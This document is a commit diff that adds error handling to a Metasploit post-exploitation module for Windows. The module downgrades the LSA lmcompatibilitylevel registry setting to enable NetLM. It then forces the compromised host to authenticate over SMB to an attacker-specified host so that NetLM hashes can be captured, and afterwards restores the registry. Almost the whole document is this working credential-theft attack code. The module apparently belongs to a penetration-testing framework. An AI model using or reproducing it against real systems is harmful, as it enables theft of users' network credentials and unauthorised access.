Skip to content

Commit 16c5879

Browse files
committed
error handling added
1 parent 177b6fb commit 16c5879

File tree

1 file changed

+50
-22
lines changed

1 file changed

+50
-22
lines changed

modules/post/windows/gather/netlm_downgrade.rb

Lines changed: 50 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ class Metasploit3 < Msf::Post
2020
include Msf::Post::Windows::Registry
2121
include Msf::Post::Windows::WindowsServices
2222
include Msf::Post::Common
23+
include Msf::Post::Windows::Priv
2324

2425
def initialize(info={})
2526
super(update_info(info,
@@ -45,35 +46,62 @@ def initialize(info={})
4546

4647
# method to make smb connection
4748
def smb_connect
48-
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
49-
cmd_exec("cmd.exe","/c net use * \\\\#{datastore['SMBHOST']}\\ipc$")
50-
print_status("The SMBHOST should now have NetLM hashes")
49+
begin
50+
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
51+
cmd_exec("cmd.exe","/c net use * \\\\#{datastore['SMBHOST']}\\ipc$")
52+
print_status("The SMBHOST should now have NetLM hashes")
53+
rescue ::Exception => e
54+
print_error("Issues establishing SMB connection")
55+
end
5156
end
5257

5358
# if netlm is disabled, enable it in the registry
5459
def run
55-
subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
56-
v_name = "lmcompatibilitylevel"
57-
netlm = registry_getvaldata(subkey, v_name)
58-
if netlm == 0
59-
print_status("NetLM is already enabled on this system")
60-
61-
# call smb_connect method to pass network hashes
62-
smb_connect
60+
# if running as SYSTEM exit
61+
if is_system?
62+
# running as SYSTEM and will not pass any network credentials
63+
print_error "Running as SYSTEM, should be run as valid USER"
64+
return
6365
else
64-
print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
65-
registry_setvaldata(subkey,v_name,0,"REG_DWORD")
66+
subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
67+
v_name = "lmcompatibilitylevel"
68+
begin
69+
netlm = registry_getvaldata(subkey, v_name)
70+
rescue ::Exception => e
71+
print_error("Issues enumerating registry values")
72+
end
73+
74+
if netlm == 0
75+
print_status("NetLM is already enabled on this system")
6676

67-
post_netlm = registry_getvaldata(subkey, v_name)
68-
print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
77+
# call smb_connect method to pass network hashes
78+
smb_connect
79+
else
80+
begin
81+
print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
82+
registry_setvaldata(subkey,v_name,0,"REG_DWORD")
83+
rescue ::Exception => e
84+
print_error("Issues modifying registry value")
85+
end
6986

70-
# call smb_connect method to pass network hashes
71-
smb_connect
87+
begin
88+
post_netlm = registry_getvaldata(subkey, v_name)
89+
print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
90+
rescue ::Exception => e
91+
print_error("Issues enumerating registry values")
92+
end
7293

73-
# cleanup the registry
74-
registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
75-
print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
94+
# call smb_connect method to pass network hashes
95+
smb_connect
96+
97+
# cleanup the registry
98+
begin
99+
registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
100+
print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
101+
rescue ::Exception => e
102+
print_error("Issues cleaning up registry changes")
103+
end
104+
end
76105
end
77106
end
78-
end
79-
107+
end

0 commit comments

Comments
 (0)